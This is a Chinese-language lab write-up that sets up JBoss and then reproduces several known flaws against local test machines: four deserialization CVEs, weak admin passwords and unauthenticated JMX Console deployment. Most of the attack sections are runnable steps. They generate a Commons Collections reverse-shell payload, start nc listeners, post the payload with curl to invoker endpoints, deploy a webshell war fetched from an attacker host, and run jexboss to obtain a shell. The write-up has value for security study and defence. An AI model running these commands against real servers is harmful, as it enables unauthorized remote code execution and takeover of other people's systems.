一、JBoss介紹
JBoss是一個基於J2EE的開放源代碼的應用服務器。 JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。Jboss_百度百科 (baidu.com)
EJB 是運行在獨立服務器上的組件,客戶端是通過網絡對EJB 對象進行調用。變成大白話就是,"把你編寫的軟件中那些需要執行制定的任務的類,不放到客戶端軟件上了,而是給他打成包放到一個服務器上了"。
中間件是一個獨立的系統軟件或服務程序,為應用程序提供合作互通、資源共享等服務。
Servlet 是運行在 Web 服務器上的程序,是客戶端和服務器之間的中間層,用於處理請求的邏輯 (類似CGI)
Tomcat下Servlet與CGI區別和內容
servlet的本質是什么,它是如何工作的?
1、下載安裝啟動配置
0x01 JDK安裝
JDK版本:1.6 ~ 1.7
默認下一步即可
0x02 JBoss安裝
配置兩台虛擬機,一台安裝6.0,一台安裝4.0
下載地址:JBoss Application Server Downloads - JBoss Community
JBoss4以下用JDK6
JBoss5~7用JDK7
0x03 JBoss環境變量
1)新建系統變量JBOSS_HOME
2)在path
最后中加入
;%JBOSS_HOME%\bin;
0x04 啟動JBoss
雙擊run.bat
即可
0x05 配置JBoss
設置外網可以訪問,路徑C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml
重啟即可
對於JBoss4
版本,C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer\server.xml
2、目錄介紹
JBoss
默認部署路徑:C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
網站位置:C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
二、JBoss漏洞分析及復現
目前而言,以下漏洞都是復現操作為主,原理由於本人還太菜,未來再回來補充【4.26】
1、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
命令執行、getshell
0x01 漏洞概述
該漏洞位於JBoss
的HttpInvoker
組件中的 ReadOnlyAccessFilter
過濾器中,其doFilter
方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。攻擊者利用該漏洞無需用戶驗證在系統上執行任意命令,獲得服務器的控制權。
影響版本:
- JbossAS 5.x
- JbossAS 6.x
0x02 復現操作
實驗靶機IP
為192.168.112.148
1)驗證漏洞存在|漏洞指紋
訪問http://192.168.112.148:8080/invoker/readonly
頁面,回顯500表示存在
2)安裝javac
用於java
編譯這塊
java javac
等混淆概念:(8條消息) 一文搞懂JDK8與Java1.8的區別_非著名運維的博客-CSDN博客
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
3)工具下載
4)開啟監聽
nc -vlp 8888
5)一系列操作
這部分底層原理留給日后回來研究【4.26】,現在只能依葫蘆畫瓢
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.112.132:8888
# 以二進制格式發送.ser包
curl http://192.168.112.148:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
0x03 漏洞原理分析
漏洞出現在 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中,源碼在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class文件中,其中doFilter函數代碼如下:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject();
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}
可以看到其直接從http中獲取數據,在沒有進行檢查或者過濾的情況下,嘗試調用readobject()
方法對數據流進行反序列操作,因此產生了Java反序列化漏洞。
2、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
getshell
0x01 漏洞概述
該漏洞的產生是由於JBoss
在 /invoker/JMXInvokerServlet
請求中讀取了用戶傳入的對象,利用 Apache Commons Collections
中的 Gadget
執行任意代碼
0x02 復現操作
實驗靶機IP
為192.168.112.148
1)驗證漏洞存在|漏洞指紋
訪問頁面http://192.168.112.148:8080/invoker/JMXInvokerServlet
,回顯如下的消息則含有該漏洞
2)開啟監聽
nc -lvp 8888
3)使用工具直接攻擊
這部分底層原理留給日后回來研究【4.26】,現在只能依葫蘆畫瓢
工具和上面漏洞1的一樣
curl http://192.168.112.148:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
0x03 漏洞分析
JBoss JMXInvokerServlet 反序列化漏洞分析 - 從0開始學習Java反序列化 (4) | whip1ash
0x04 修復建議
刪除http-invoker.sar
組件,路徑在:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
,刪除后再訪問http://192.168.112.148:8080/invoker/JMXInvokerServlet
,返回404
3、JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
getshell
0x01 漏洞概述
JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利⽤該漏洞執⾏任意代碼。
影響版本:
JBoss AS 4.0及之前
0x02 復現操作
1)驗證漏洞存在|漏洞指紋
訪問http://192.168.112.147:8080/jbossmq-httpil/HTTPServerILServlet
,回顯如下頁面則有漏洞
2)執行攻擊
使用之前生成的.ser
文件,通過POST 二進制數據上去,反向連接shell,需要先開監聽
curl http://192.168.112.148:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
4、JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
getshell
0x01 影響版本
JBoss6.x
以上
0x02 復現操作
1)漏洞指紋
訪問http://192.168.112.148:8080/invoker/EJBInvokerServlet
,如下圖則存在該漏洞
2)執行攻擊
使用之前生成的.ser
文件,通過POST 二進制數據上去,反向連接shell,需要先開監聽
curl http://192.168.112.148:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
反序列化文章:
5、Administration Console 弱口令
后台getshell
0x01 環境配置
環境為JBoss6
0x02 密碼信息
密碼信息保存在\server\default\conf
0x03 復現操作
1)登陸進后台
2)上傳war文件
3)冰蠍連接
0x04 Burp Suite爆破
1)查看數據傳輸格式
2)選擇爆破模式和爆破的位置
3)載入payload
這里測試,隨便寫了密碼賬號文件
4)執行攻擊,找到不同的包
6、JMX Console未授權訪問漏洞
后台部署文件、getshell
0x01 漏洞概述
在默認未配置的情況下,可以訪問/jmx-console
目錄,並部署相關war
包,部署的war包在本地的路徑為:
JBoss AS 6.x:C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
JBoss AS 4.x:C:\jboss-4.2.3.GA\server\default\work\jboss.web\localhost
0x02 復現操作
Ⅰ. 4.x版本漏洞復現
1)前往部署頁面
http://192.168.112.147:8080/jmx-console/
打開jmx-console
界面,找到jboss.deployment
,點擊下面的URL
2)上傳、部署war包
在kali
上開啟小型服務器,通過kali
上傳shell.war
包(實際情況是在vps上開啟此功能)
找到void addURL()
一欄,填入http://192.168.112.132/shell.war
還是在剛剛那界面,最上面點擊Apply Changes
3)war包部署成功
4)上線冰蠍
Ⅱ. 6.x版本漏洞復現
操作類似
上傳、部署
http://192.168.112.148:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.112.132/shell2.war
上線冰蠍
三、jexboss自動化JBoss滲透
JexBoss是一個用於測試和利用JBoss應用服務器和其他Java平台、框架、應用程序等漏洞的工具。
JexBoss工具報告:JexBoss – JBoss Verify and EXploitation Tool | CISA
1)環境配置
# python > 2.7.x
python2 --version
# 安裝 pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
2)執行腳本
python jexboss.py -host http://192.168.112.147:8080
3)輸入自動化滲透目標
這里JBoss為本地搭建的4.0版本
4)得到shell